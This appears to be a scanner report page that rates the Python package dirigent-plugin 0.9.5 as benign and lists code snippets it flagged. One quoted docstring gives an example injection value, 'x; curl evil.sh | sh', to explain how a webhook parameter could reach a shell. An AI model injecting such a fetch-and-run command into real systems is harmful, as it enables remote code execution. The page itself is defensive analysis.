Benign python Download

dirigent-plugin 0.9.5

“The dirigent plugin contract: block specs, protocols, and markers.”

Python storage backend interfaceParses JSON data with Python

Evidence

Embedded shell command string uses -c blocks.py · lines 85–88
85:42… d value is handed to a shell to parse.
86
87 A block that runs ``sh -c`` on a config string has a problem the block cannot solve on
88 its own: by the time it sees the string, the engine has alread …
References a curl- or wget-to-shell pipeline blocks.py · lines 90–94
90:18… able from one that arrived in a webhook payload. So ``command: "load
91 ${params.region}"`` with ``region`` set to ``x; curl evil.sh | sh`` is a shell injection
92 reachable by whoever can POST to a webhook.
93
94 Marking the field pushes the knowledge to where the …
Python storage backend interface blocks.py · lines 259–267
259:18… roup_from_id(data)
260
261
262class StatResult(BaseModel):
263 """What a storage backend knows about one object without reading it."""
264
265 uri: str = Field(min_length=1)
266 size: int = Field(ge=0)
267 modified_at: …
Python getattr dynamic attribute lookup blocks.py · lines 713–716
713:16… face, collected in merged.items():
714 collected.extend(getattr(contribution, surface))
715 formats: dict[str, FormatCheck] = {}
716 _require_unique("format", [name for contribution in contri …
Parses JSON data with Python transforms.py · lines 496–501
496:49… put_uri, config.max_input)
497 try:
498 parsed: JsonValue = json.loads(payload)
499 except ValueError as error:
500 raise BlockFailure(
501 f"{config.input_uri} does not hold JSON: {erro …

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.